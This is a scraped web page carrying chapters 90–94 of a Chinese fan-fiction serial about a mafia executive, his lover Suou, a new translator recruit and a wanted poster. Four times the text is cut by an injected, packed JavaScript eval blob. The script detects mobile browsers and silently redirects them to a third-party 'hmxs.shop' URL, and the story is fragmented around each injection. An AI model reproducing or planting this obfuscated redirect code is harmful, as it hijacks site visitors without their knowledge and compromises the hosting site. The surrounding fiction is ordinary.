;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16915883|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 党里,首领的命令是绝对的。” 从上下级的角度来说,组织的首领是他唯一的上司。以武斗派成员的定位担任干部的他在必要时刻需要牺牲自己。“我不能因为任何无关理由耽搁组织的事务。如果我因为你影响了工作,会遭到清算的不是我,只有你。” 我不能时刻待在你身边。 答应我,要保护好自己。 如愿得到苏枋对他的承诺,佐久间弥津留了最后一分钟温存,随后无情地把成为他“地下情人”的人推出卧室。 把苏枋脸上的猝不及防看在眼里,他拉过房门,说道,“稍后会有一笔钱打给你。” 被他赶出卧室的人迅速撑住没有完全合上的房门,故作可怜语气,“哎呀,不要这样,弥津先生……会让我有种被你包养的错觉。” “想什么呢,我养得起十个你。地址待会儿发给你,替我去那间店取件衣服。我得做好明天痕迹消不掉的准备。” 如果明天早上,脖颈仍然有那些成年人一眼能认出来历的痕迹,他得穿高领衣服出门。 只要今天别添新的,这是他最后的期待了。 听到苏枋片刻之后离家关门的声音,他才拖着比受伤时还沉重的脚步回到床边。他和苏枋只差四岁,怎么精力那么天差地别,同样都是折腾了一夜,他恢复得好慢。 蜷缩在床的一边,一些关于昨夜的凌乱回忆飞速在脑海里闪过,像失控的留影机,不停地把他不是很想回忆的靡乱场面重新播放给他。身体上的酸痛恐怕到了能吃止痛药的程度。 他还是愿意亲自给苏枋后悔的机会。 他的命运和组织的命运死死缠在一起,此后的人生再也没办法与其分开。断绝一切联系的家人是他用一生去保守的秘密,别人无法从他手里夺走任何东西,连“家人”也不行。 他不担心失去,有想要的,也会想方设法拿到。黑手党组织成员当然最擅长用暴力沟通。 但苏枋不一样,后悔的机会也只有他能给。苏枋本该有其他选择的,却宁愿留在人生地不熟的危险城市,他为之可惜。 如果未来有一天苏枋终于发现,自己在他身上倾注了过多时间和心血,而让自己错过了更美好的东西,他会送苏枋离开,但有唯一的条件。 那就是,苏枋必须忘记他。 身体深处的疲惫感猛得翻涌上来。卧室拉着窗帘,还关上了门,在白日里也昏暗寂静。他攥着被子的一角,在苏枋回来前再次坠入无知无觉的睡梦中。 深秋的夜里气温很低,已经有了凛冬寒夜的影子。但白日里有暖阳照耀,不会让人冷得牙齿打颤。 去年和前年,这时候,他已经在欧洲了。今年情况有变,却意外让他感受了一把属于横滨的秋冬季。时间拖得再久一点,他没准能看到横滨的雪?他对雪没有多么情有独钟,没任务的日子还好,雪天还要辛勤工作,谁还有赏雪的心思呢。 等到带着一身秋日凉意的人提着他要的东西回来,他才和身体各处的酸痛达成一致意见。 明天……再留一天吧。他心想。这幅样子回去,会把别人吓一跳的。 是他这段时间工作太久了吗?还是在这种事上年轻和精力真的很重要。 四岁的年龄差距……真的很大吗。 91.承认自己是文盲的干部 你刚才说什么? 佐久间弥津穿好昨天拜托苏枋带回来的高领毛衣,回头问道。 苏枋站在他背后,直勾勾地看着他,“没什么啊。” 从哪学得这么会装模作样。不要以为用他听不懂的语言就能胡言乱语了。 他招手,让苏枋走到自己面前,上手去捏昨夜又一次和他同床共枕的人的脸,“我得走了。”昨天晚上,优给他整理好了今天未处理的事务清单,发给了他。很少,但得他亲自经手。 他再沉溺于那等事,会误了正事的。 现在的苏枋比他记忆中长大太多。难道离开学校的人都成长得这么快?从风铃高中毕业不满两年,苏枋身上属于学生的稚气已经所剩无几了。 苏枋抓住他的手,态度诚恳但语气迫切地问,“我还有其他方式能找到你吗?打电话和发消息以外的方式。而且,只能你单向联系我,这有些不公平吧,弥津先生。” 你今天走掉之后,我们何时再见。 他张口欲言,却又不知道怎么解释。 他好像是有点对不起苏枋。 他的工作时间不定,地点不定,工作性质还属于犯罪,实在做不到像两情相悦的恋人那样,住在一起,朝夕相处。甚至不算一个合格的“情人”。一个合格的情人至少该按时按点出现吧。 看来,他完全没有做好平衡工作和生活的准备啊。毕竟以前的生活里,不存在像苏枋这样……精力充足到能让他怀念工作日程的人。 “弥津先生,我是第一个,和你成为恋人的人吗。”在他之前,还有别人吗?如果他尽自己所能仍然比别人慢一步,那他要得到弥津先生的安慰才肯罢休了。 替他拿来领带的人怀着某种隐秘不发的心思问他。 好问题。 “唯一一个吧。”他转过身,继续看着镜子里的自己,提起被叠好的外套,“我没有成家的想法。” 以前没有,以后……在他最初的设想里,也没有。 一个不知何时就会死在行动里的犯罪组织成员,按年龄正常进入心有所属的人生阶段,会顾及很多,如果真的喜欢对方的话。 与他同为组织干部的其他人不也没……不,他好像只能确定水落没有和别人谈情说爱的心思,还曾经手刃过胆敢觊觎他的家伙。另一位“好同事”……他很难评。爱讲没品笑话的人能和旗会的其他人相处得非常好,虽然他不愿意用“人以群分”的词来形容——因为中也先生也是旗会的一员——但事实一定是他们之间有相似的性格特质。 苏枋是闯进他既定生活规划里的人。 如果苏枋不来到他面前,他可能会一辈子都没有感情经历。而他离开组织后若是始终没有回来的契机,中也先生不是那么需要他,他是不是会在那座城镇当一辈子的书店老板?那时候,他对自己的期许也许真的会稍微有点不一样。 但谈恋爱这种事,对他真的有点难。 “我还有个问题,弥津先生。” “说吧。” “你那时候匆忙离开的原因,莫非是你们已死的前首领?”苏枋隼飞问。 这两天对他展示过诸多激烈情绪的玫红色眼瞳借着镜面看着他,依旧是那副平淡的神情,此刻却有几分让他说不出的陌生。 “苏枋,唯独这个,你永远不要再提。” “……好。” 穿戴整齐的青年站在自己面前,苏枋隼飞觉得心头一阵怅然若失。他又要暂时失去自己的弥津先生了。现在站在自己面前的人一旦走出这间房门,就会变回将一切言语都诉诸暴力的犯罪组织干部。 “我会尽量及时看你的消息。还有,我过段时间……一个月,或者年底,大概会去欧洲部门工作。” 佐久间弥津这样说着,任凭苏枋靠近他,吻上他脸颊。 这是他的工作惯例。他的异能受天气影响很大,在雨天工作会方便许多。他放弃抵抗苏枋对他动手动脚,问道,“你想和我去吗。” 虽然国外也不完全安全。但那是另一种性质的危险,而不是会因为他从而被盯上报复的危险。 “当然想去。是哪个国家?” “你要留在伦敦。我平时看情况。如果其他国家的据点和分部都没有事务,我也会留在英国。” 但这是后话了。 天气步入深秋,他还没接到出差的指令,今年的出差计划被一笔带过也是有可能的。一切都看后续的情况,国内有重要的事,当然是优先国内,欧洲部门有水落在,用不着他在安全时段多此一举。 昨日旷工一天,但好在昨天晚上在他近乎命令的要求下,休息得很早,今天才能赶在九点前到总部。 因为他先回了家。 优什么都没问。理解这是他的私生活,哪怕让他留宿的对象极有可能是某个以前让优自己想干掉的人也一样。只是背对着他翻车钥匙的时候背影多少有点寂寥。 是因为被别人说了明明住一起却不知道他为什么请假吗? 他心里顿感好笑。但立马发觉自己方才忘了水落才是那个更“厌恶”苏枋的人。被水落知道自己不仅没有听从警告和苏枋保持距离,甚至几年后的现在还多了一层更私密的身体关系……水落可能不会和他吵架,但一定会白他一眼。 他还是收了带苏枋去英国的想法吧。 办公室一日没来,倒也不会有特别的变化。有变化的可能是他的心境。 昨日紫苑想让他看的人员档案整齐地摆在桌上,但没有用文件袋装着。虽然他不是计较这个……但显然这些人员档案理论上应该封好。 优对他解释说,紫苑昨天不小心洒了咖啡上去,所以丢掉了,等他看过之后再送去封存。 听者若有所思。 反正,真正的缘由只有当时在场的人才知道,全凭镜优一张嘴乱说,但这不是重要的事,佐久间弥津便选择相信。 新人档案…… 佐久间弥津在镜优的注视下简单翻看起最上层的一份。 直到他亲眼看到,才能明白为什么紫苑会说“值得重点培养”。 ……居然是超高学历啊。 想到自己连中学都没读完就辍学的人生经历,他就对这样有勇气和毅力完成漫长学业的人带有一份尊重。即使他和站在他桌前的优两个人能至少凑出四种语言……但谈论起社会只承认的学历的话,他们是半个文盲。 他上一个接触过的高学历人才还是整日呆在医疗部门贯彻自我信念的医生。虽然提起“医生”,他会忍不住想起另一个人让人生气的“医生” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16920302|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 遏制住心底砸桌的冲动,被他捏在手里的人事档案差点出现折痕。他小心地展平,放在桌面上,继续看了下去。 犯罪组织也不是什么人都收的。但就他个人而言,会觉得毕业于知名大学的博士生选择加入黑手党组织……如果不是像外科医生一样的特殊理想,他会很难理解的。 想过安全又健康的生活,还是不要把加入犯罪组织当成求职意愿吧。 不过,他会欢迎的。犯罪组织不是合法组织,对内拨“研究经费”的时候不会手软,恐怕正是因为组织里没多少人懂研究,但懂一旦研究出好东西,能带来更多的利益,而且,组织不缺划拨给研究人员的经费……组织有对内的技术部门,只不过还没到成立研究所的地步。 年龄不到三十岁,无异能,前一份工作是国外一家研究所的研究员。 看起来是人类中最纯粹的天才。 世界上少不了像染崎一样的人。明明天赋高得吓人,周围资质平平才能平庸的人却理解不了她,连她的家人都不理解,甚至质疑她。 如果说天赋异禀是神明的赏赐,那么因为天赋所遭遇的一切就都是神明要求人类付出的代价了。被周围人抛弃的染崎幸好被组织“捡”到了。 一辈子都生活在不被理解的糟糕环境里,真不知道染崎要怎么长大。 存在于黑暗中不被社会真正认可的犯罪组织有自己的招新渠道,因此,总是招到奇奇怪怪的人。性格,能力,或者别的,总有一项异于常人。 出于一些原因被正常社会抛弃的人,不想“死掉”,就会自发的去寻找同类抱团取暖。只要不主动封闭自己,这样的人是会互相吸引的……这是一个据说很有名的理论,虽然他不太懂原理。 这不能成为美化犯罪组织的理由。但这正是在某方面拥有极高天赋的人却会加入犯罪组织的原因之一。就好比说,他的“好同事”是好人的话,制作完美□□的技能要如何体现呢。 这个新人至少拥有百分之五十的幸运。 在办公室门被来人推开前,他仅仅来得及看过这一份。 “看起来,我应该没有打扰到你们聊天。” 他示意优先回自己那边。 “是没有。你昨天找我想说什么。” 优离开时关上了房门,只留站在桌前的青年大胆观察他。 公关官一定猜到了他昨天干了什么。不然为什么视线会在他的脖子上停顿那么久。 “和你聊聊几桩杀人案。还有,之后异能特务科准备和我们商谈一些事,时间未定,但你得和我去。” 杀人案…… 他嘴里忽然冒出一句,“‘Follow the rich white man’.” 亲自来找干部先生而不是打一通电话完事的人沉默了。 “……为什么要跟踪有钱白人。” “这是一个黑人警察的刑事调查理论,在你和我说过的因为电影节而重映的影片里。” Every big crime has a rich white man behind it waiting for his cut. ……? 公关官怀疑这家伙旷工一天把脑子旷没了。 92.见色忘友的干部 为什么要我和你去。 他不想和异能特务科的人当面打交道,“和其他组织沟通,是你的部门所承担的职责。” 你现在还算半个首领的秘书。 而他只是个“普通”的武斗派,干不了太精细的活。和官方机构交涉这种事,还是交给专业的人干吧。 公关官却不允许他拒绝,“你听完就明白了。” “首领知道吗。” “知道那几起命案也知道异能特务科想见‘我们’的人,不少。但知道异能特务科特别说要见你的,现在暂时只有我们两个和首领。” 听起来,事情有点复杂? “其实一点都不复杂。命案的真相是,死者来自同一个外国异能犯罪组织。” “你想说……自相残杀?” 怎么可能。在横滨市内发现有外国犯罪分子自相残杀?难道是有偷渡组织悄悄把敌人送了进来。 佐久间弥津伸手把因为新消息而亮屏的手机关掉,示意公关官继续说。 “异能特务科的说法是这样的,更具体的消息,还得等他们之后打算召开的会议,到时候会有更准确的消息。” 那么,自相残杀的人,和他有什么关系。如果说异能特务科是在怀疑他,那么他有无数种方式告诉异能特务科,他们的怀疑大错特错。 “你的通缉令多到要贴在交番的告示栏里了,比广告传单还泛滥。” 公关官摸出一张单薄的相片,放到桌上推给他。 相片背后编了码。 ……怎么相片正面也被编了码。 他仔细一看,却发现那不是写在相片上的,而是存在于被相片记录的纸张上的。 一张皱皱巴巴的通缉令,边角有残缺,整个下半部分也已经裂开,像是曾经用胶带粘贴在其他地方,被取得它的人狠狠撕了下来。 他的通缉令上被写了一串编码。 “401……W4?什么意思。” “不知道。案件在发现受害人和你有关时,已经被划拨给了异能特务科,但无论是公安还是异能特务科,都没能破解这个编号的意思。” 401,有点像房间号,还有点像四月一号愚人节。但那是不可能的。佐久间弥津把相片放下,心想。 难道这件事,是别的组织给他讲的笑话吗。 “因为我的通缉令出现在死者随身的包里,还被写了意义不明的编码,所以,他们要见我?” 显然死者来到横滨的原因和他有关,这没什么可否认的,这是在横滨的告示栏里撕下来的通缉令。一个不认识他的人会撕他的通缉令吗?拿去当收藏?他又不是现此刻站在自己面前的大明星,连一张签名海报都昂贵得很。 “不止如此。” 佐久间弥津眼神怀疑地看着对他面露完美微笑的大明星,心里着实不想相信公关官接下来的话。 “被追踪到的组织名为‘王女’,是个流窜在拉美地区频繁作案的异能犯罪组织,很巧——也很不幸,之前对诸多公司的资金链出手的也正是他们。这不是异能特务科或者公安部门的敌人,佐久间。” 而是整个横滨的敌人。 所以,你应该明白,异能特务科打算和我们商谈的原因了。 “虽然那几个自相残杀的敌人究竟为什么会内讧,还没搞清楚,但‘王女’内部关注着你,却是板上钉钉的事实,不然他们不会死前都随身带着你的通缉令。你不是曾经遇到过吗,在港口游艇上安装炸弹,试图这么简单就杀掉你的家伙。和之前想嫁祸走私致幻药物罪名给钢琴家的人,存着一模一样的心思。” 不管想杀你,还是想抓你,都意外着你都是他们的目标。“那个动机成谜的组织,和我们根本毫无交集。” 势力范围,贸易类型,组织结构,几乎没有相同的地方。 “中也昨天说,打算让你直到年底都留在国内。别把战火惹到欧洲部门去,那边没有国内好处理。你的想法呢。” 佐久间弥津自然是以首领的命令为主。 虽然这份欣喜实在不合时宜,但他今年能见到横滨的雪,也算因祸得福了。他不是说有多想念那份雪,但冬天……还是看雪比看雨更正常一点吧。 他又一次及时按掉亮屏的手机。他没看清苏枋发来的消息,但也没让公关官看清。 “你还真是大忙人。” “和异能特务科的洽谈,中也先生是怎么想的。” 正事基本说完,公关官的姿态比方才更放松了点。晚秋的天气,和真正的冬天差别越来越小了。哪怕还没到最寒冷的日子,他这几日早晨出门,摸着门把手和方向盘,也觉得手凉得厉害。 他瞧了一眼佐久间放在手边的文件,转身坐到了沙发上,没有回答这个问题。 “那天居然拿‘约会’当借口,你不会真把那个人当情人看了吧。不过,他也真不容易的,不仅被关地牢,还被软禁。一般人早被你折磨出精神病了。” ……能不能别对干部的私事那么上心。 “听别人说,那个人体术还不错。” “谁和你说的。”钢琴家吗。 “不愧是被前游击部队领导者奉命追杀过的学生,果然不简单。” “他和组织没关系。” “这么维护他,你这两天果然是和那个人呆在一块吧。” “……” “在得知你是通缉犯,还是犯罪组织高层之后,那小子依旧不依不饶地缠着你。看结果,你果然心软了。” ……什么叫“果然”啊。 “还有没有别的正事。没有的话,离开吧。” 公关官朝着干部先生哼笑一声,“有啊,当然有。” 不仅有,还有很多。 “你知道,你那天半路‘逃跑’之后,给我们留了多大的麻烦吗。你是不是忘了?我的异能对中也没用,钢琴家的能力不能对我们的首领用。” 听到这,佐久间弥津彻底明白了。他刚被激起的烦躁情绪立刻被这三言两语压了下去。抛开同事之情——不管有没有——是他借口离开在先。 公关官今天是来兴师问罪的,他完全懂了。 “你上次陪中也喝酒的后果是什么,你忘了吗。” 是谁疼得像棵人形含羞草。 佐久间弥津有些忍不住了,但仍然有点底气不足地反驳道,“中也先生只是突然想起让人生气的事,才会无意识那么做。” 中也先生不是每次喝酒都那样。 他离开前不是把“秘诀”交出去了吗?让中也先生酒后的心情好起来,比什么都重要。他信任公关官的个人能力,一定能像应付多种多样的交涉对象一样把他们的首领从输球的恼火中“哄好”。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16927864|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这就是深受组织成员信任的干部先生,只顾着和别人约会,然后留两个在重力面前束手无策的人的理由?” 对不起,“但我对重力也束手无策。” 不要以为他多能扛,他也是会被首领眨眼间干掉的人。他们的首领就算喝过酒也无懈可击。 “你居然还在为一个酒品差劲的人开脱。” “……但你不像受伤的样子。” “那还真是遗憾,我没有带一身绷带来见你。最后有惊无险而已。” 你桌上的是什么? 只是一些新人的档案。 “紫苑刻拿来的?别误会,昨天我来找过你,我当然知道。你的歼灭部队要添人了?” 组织的歼灭部队表面看是一群让人闻风丧胆的凶徒……在他对佐久间的作风不太了解时,也会有这种误解。但当他回头发现自己手里竟然也有人被佐久间挑走塞进那支部队,还时不时面露尴尬地问他“请假”,他才发现所谓的歼灭部队其实是一副不断被完善的拼图,什么人都有,并非所有人都和佐久间一个类型。 自前年被召回开始,佐久间就一直在玩“拼图”了。 干部先生摇头否认。 佐久间弥津以为,这就好比……学生时代的学习小组,或者是网球场上的双打搭档,快要磨合好的队伍,拥有了可贵的默契和无言遵守的原则,随便加减人员,不是有点朝令夕改的味道吗?那可不妙。 虽然仍在接近完整的道路上,但除非人员损失严重,或者新人太过出众,否则他更倾向于从能力和心态都足够成熟的成员里挑人。 可以说新人……未来可期,但港口黑手党的新人不是可以被随意丢弃的“耗材”。 “超高学历的现代科技人才加入犯罪组织是新的求职蓝海吗。”他如此说着,把那几份档案递向了回到桌边,说出“我能看看吗”的人。 “你都看过了吗?” “没有。”他急什么。 话说,你不打算在身边培养些好用的人?只有镜优一个,他可不像你。 “暂时没打算。你也明白吧……这个时代的‘我们’最不缺忠于首领的人。” 和他加入组织的时间很相似。九年前,是他们的人生中相同的转折点……甚至和离开的那位也相似。他究竟为什么对中也先生抱有这样的态度,原因多到数不清。他想,其他人也和他一样。 犯罪组织成员遇到伤病是常有的事,特别是像他这样负责战斗事务的人。世界上不存在完全相同的两片树叶,也不存在一次伤都没受过的武斗派成员。早几年间,在欧洲部门的生活里,他也不是永远顺风顺水,毫发无伤。 他的嗓子和胳膊上用纹身掩盖的伤疤不就是最大的证据吗。 即使某种程度上算他咎由自取。 但现在的“他们”,还远远没到青黄不接的时刻。 翻看着人员档案,公关官头也不抬地对佐久间弥津说,“我可没说让你培养下一个‘自己’。” “我不太懂经营。如果有以前在欧洲部门被我管理过的贸易线路,也都是挂名的。” 他根本没实际上手看过收支报表。水落手里倒是有这样的人,对数字敏感,也对赚钱更感兴趣。 他问,“你加入组织是因为兴趣吗。” 大明星抬头看了他一眼,“无可奉告呢。” 93.被某人嘲笑的干部 佐久间弥津有把同事的提醒听到耳朵里。 但只听了一部分。 以至于水落望音接到好友难得给他打来的电话,内容却是向他要人时,按面包机的动作僵了一瞬,才发现友人说的是真的。 “之前随行的翻译人员,风间……风间理,还在组织里吗。” 这个问题,水落望音还得问别人。他出门不需要翻译。外语在他们眼里算工具,身边亲近的人和自己多少会点,语言交流没有太多障碍。 翻译人员一般会配给各个分部据点,风间理也该是如此。 “把他调回来给我吧。” 怎么突然想调别人回去。 如今一对一的聊天,他们已经不容易起争端了。放在以前,他们总会辩论几句,弥津没这么坦率地向他要过人。 水落望音快速结束了自己的早餐,在常年阴雨连绵的都市开始自己一天的工作。 按时差来算,呆在国内的友人该准备下班了。他忍住喊“那个混蛋”的冲动,问道,“是那家伙玩忽职守,所以你终于想起要在身边换个新人了?” 他会评价说,换得好。那个混蛋不是第一天呆在不该属于他的位置上了。 “没有。只是发现国内事务确实多一点。” 而且,他今年好像不会去欧洲部门出差了。 “我还没有和染崎说过。她可能要白期待了。” 水落望音的心瞬间提了起来。他被前两位首领的退场方式搞出应激症状了,“是出事了吗?” “不算‘出事’的程度。是一些看起来很平常的事。” 因故驻留本部的年轻干部先生还在嘴硬,水落望音无话可说。电话那头的声音低了下去,像拿手捂住了听筒的位置,异样的沉闷感持续了几秒,清晰的声音又传到他耳边。 “等中也先生允许的时候,我会和你讲的。” 他问,你在哪? “地牢。” ……至于吗?给他打一通电话,要跑去地牢,难道有谁会拦你? “你知道之前发生的事吗。” 你指什么。 “有人想陷害钢琴家,还有人想把成员连人带船炸上天。你也得注意一点。” “不安全的是你们吧。” “没关系。我们能处理。” 认识这么久,水落望音只能去相信好友的能力。他没再说什么,把手机摆在桌上,通话设成免提,打开电脑联系起自己的下属。 “只需要一个?” 风间理,翻译人员。 “一个就行。欧洲部门的人员没充裕到哪去。你要是愿意,就把鸿上也给我。” 这个他真不能给。 “给你换一个。” “不要别人。” 他都能想象得出好友面无表情摇头拒绝的样子。被问起什么时候回国,他回答说,“既然你不会来这边,我最近可能也不会回去了。” “水落,其实我……” 怎么了。 鸿上很快发来了确认的消息。风间理倒是还在欧洲部门,但最近在别国分部。其本职只是翻译人员,不讲武力,也不强求战斗经验。 沉默过后,弥津对他说,没什么,等你过段时间回国之后再聊。 ……到底怎么了?这不是很可怕吗!很久没有和自己聊过工作以外话题的朋友,突然在跨国电话里支支吾吾了半天,最后只留下一句“等你回国再聊”。 “你还是现在说吧。” 他回国不知要等到什么时候。 “是一点我的私事,和工作无关。等你回来当面聊也可以。” 那就好。 但什么私事需要他们见面才能谈。直到他把风间理召回欧洲部门总部见面,他还没想到答案。 看着走进他办公室的年轻成员,他问,能接受回国内部门工作吗。 突然□□部召回伦敦的风间理心中满是不解。接受倒是可以接受,“但是,水落先生……我是干翻译的。” 他只会干翻译,平时最多额外做点文员工作。 国内部门并非完全不和外国人打交道,但绝大部分时候只要会说一点英文就能解决交流上的窘境。而且,如果是诚心的合作者,就该学他们的语言。 “能接受就够了。另一位干部希望你能去他身边工作。” “另一位干部”是指……总不会是常驻国内本部他根本没见过的那位。 所以,“是佐久间先生?”也只有佐久间先生了吧。 从接到命令至今,他疑惑好几天,此刻才算搞清情况。 说起来,佐久间先生今年冬天没来欧洲部门。上次见这位干部是好久以前了。虽然有极其恐怖的传闻,但曾经的工作经历让他对这位上级的印象很好。 不仅能力出众,做事果断,秀气的长相配上那份独特的冷冽气质也常让人眼前一亮。佐久间先生本人没有表面那么冷漠无情,反而有点不易察觉的冷幽默在身上。 充其量只能算过分冷静,以至于面部表情极少,特别是作为组织的干部行动时令人震撼的果决,会被畏惧也是正常的。 刚刚被要回国工作的消息所震惊的心情也立刻平复。既然是佐久间先生的命令,他明白了。佐久间先生想调翻译人员回总部,会找上他很正常,总归是认识的人,省去了初次见面的环节。 他会照做的,毕竟是干部的命令嘛。 可是,当天晚上他就乘上了回国的飞机。 怎么这么快? 他坐在飞机上时还有些没缓过来。然后,顺理成章地下飞机,回总部,拿调令去干部的办公室……旁边的镜优先生所在的位置报道。 “风间理,我们见过吧。”戴着墨镜的青年问他。 “是的,镜先生。”佐久间先生在欧洲部门出差的时候,他们当然见过。 “弥津大人的命令是让你协助我处理工作。有问题吗。” 是指文书工作?毕竟战斗方面的事他实在不擅长。 “正是。但你的枪法怎么样,体术呢。” 风间理很抱歉地表示,自己一生中可以自夸的东西只剩语言天赋了。枪法一般,体术一般。他知道佐久间先生手里有支歼灭部队,拥有完整指挥权的人,在组织里恐怕只有个位数。但他这样脆弱的人类绝对不可能是其中的一员。 听镜先生的话,似乎是让他弥补佐久间先生身边没有专人负责文书工作的缺口? “愿意接受训练吗。” 佐久间先生身边的人和他沟通时一句废话也没有。他看不透墨镜后的金瞳究竟抱有何种态度,但目前至少是公事公办的。 可以是可以,但问题是,去哪里训练? “总部地下有训练场,也有经验丰富的训练师。时间的话,一般是上午工作,下午训练,你只需要负责文书方面的整理工作。” 此外,任何事都不用操心,工资、住处、医疗,等等。 “我应该……需要去见一趟佐久间先生?” 难道连上司的面都见不到,就开始工作?虽然不是不可以,但那不是很奇怪吗。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16931440|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “明天再去和我们的上司见面吧。他暂时不在总部。” 回总部工作不过一日,风间理已经见到了一些以往他认为自己绝对不会见到的人了,文职人员和武斗派成员之间是有壁垒的,欧洲部门和本部也是。 经过他身边的人回头望了他一眼,自言自语般说着“是佐久间新招的人吗”一边快步离开。可能总部就是这样的……其实他只是被临时调到佐久间先生身边的人而已。 他很久没见的佐久间先生坐在椅子上,抬头望着敲门进来的他。 仍旧是那副面无表情的冷淡神色,但却有种让他几乎热泪盈眶的熟悉感。整个总部,只有佐久间先生和镜先生算得上他的“熟人”,他都不知道第一句话先说什么才好。 “……好久不见,佐久间先生。” 他真的很意外,他当年担任佐久间先生的随行翻译人员,其实只有极短的时间,但升任为干部的佐久间先生居然还记得自己。 干部先生冲他轻轻点头,“优有和你说过你的工作内容吧,你需要帮的是他。” 至于为什么要选风间理,根本没有特别的理由。 好用的人一直用,这就是佐久间弥津的用人习惯。不然,镜优为什么能在他身边呆那么多年。 哪怕是别人手里的人,只要好用,他就能拿在手里。借用,调用,临时一用,都可以。在他眼里,好用的人直接等于愿意无条件听从命令的人。 他这两天翻完了紫苑给他拿来的人员档案。 新人们的才能各有千秋,但终究不太适合去协助优的工作,他暂时也想不出哪个部门亟待新的血液涌入。反倒是那些三天两头去他办公室的人们对新人们的档案更好奇。 一旦有人被他打上了“好”的标签,他很难忘掉了,如此,下次再需要,就能立刻想起来。 显然钢琴家不会把筱原才悠让给他,从歼灭部队里找人接手文书工作也不合适。 于是他想到了欧洲部门的成员。很可惜,他不能从水落的小队成员里抢人。 那名兢兢业业的翻译人员,就挺合适的。 也算给优减负了。未来恐怕会有一段形势急剧变化的日子,他们得提前做后备计划。 而他能忙里偷闲回苏枋消息的日子,又会到哪天戛然而止呢。 ……他突然恍惚了。 手机里的消息像把他拉回了还在书店看店的平静日子。风铃高中的学生有在街头巡逻的“校规”,这似乎是从梅宫那一届学生开始的……他也可能记错了。 看店的同时,偶尔也是得回复热心学生的消息的——是的,当时的苏枋还只是他眼里的“热心学生”。 谁知几年后变成了这样。回头看过去,还真是造化弄人。 苏枋的消息里说,为了寻找他的下落,找很多人打听过,平时还有联系,所以,梅宫和樱他们也知道了他在横滨的事。 唉…… 见此,他只能回复说【注意安全】。 要不然呢,他该说【晚上别出门】吗? * 黑发青年站在交番的告示栏前,面露难色地盯着眼前的通缉令。 青年抿着嘴唇,似乎想笑,又想在通缉令面前保持严肃。最后一言不发地转身出门,和呆在树下,仰头望着枯枝发呆的友人汇合。 可没走几步,一阵哈哈大笑响彻街头。 “老板、老板……” 青年笑得脸色狰狞,和友人说话也断断续续的。 “老板怎么成通缉犯了哈哈哈哈——” 94.来找老板的人 在横滨今年的第一场雪落下前,棪堂哉真斗拽着好友来到了这座城市。 老板没那么简单,这几乎是对他们公开的“秘密”。老板根本没故意瞒过他们,只是生活在那座城镇的人从来没信过老板的身份果真那么神秘而已。 他不是第一次来横滨了。横滨是一个与过去他们相识的地方相比,经济更繁荣,治安也更奇怪的港口城市。说横滨不安全,这里离东京却那么近,街头巷尾的居民也不像过着提心吊胆的生活;可若是说横滨安全,据说这里有犯罪组织出没,还有很多像老板一样的奇怪人物。 焚石矢理解不了棪堂哉真斗的笑点。那个男人是通缉犯,很好笑吗。 “当然很好笑啊!你想啊,一个成为通缉犯的家伙,以前居然没把我们两个干掉。” 招惹老板的日子仿佛就在昨天。老板是不是其实悄悄杀了很多人,但把尸体藏在书店的小隔间里?那太可怕了吧。 棪堂哉真斗满脑子畅享堪比恐怖片的血腥场面。老板的能力,他不仅见识过,也亲身体验过。正是因为老板对他展示的新世界充满了吸引力,他和焚石才会像这样四处跑。通缉令上连老板的真实姓名都没有,而是以“执伞人”的名号代称,很……好笑。 老板的长相是很好认的,特别是那双眼睛。在只有黑白两色的世界只要出现一丝色彩,他就能认出这是那个拥有玫红色眼睛的男人。 被蒙在鼓里的乖乖学生才会认为那个开书店的男人是个好人。 这是横滨,所以没人在乎这个双手布满纹身的路人拥有何种精彩的精神状态。话多又笑得夸张的年轻人,和身边沉默不语,偶尔抬头望一眼灰白天空的同龄人仿佛不是一个世界的人。 笑够了,棪堂哉真斗从口袋里拿出手机。 今天天气不好。 温度很低,空气质量也一般。从厚重云层泄出的日光没有带来几分暖意,反而更让人畏惧即将到来的严寒。 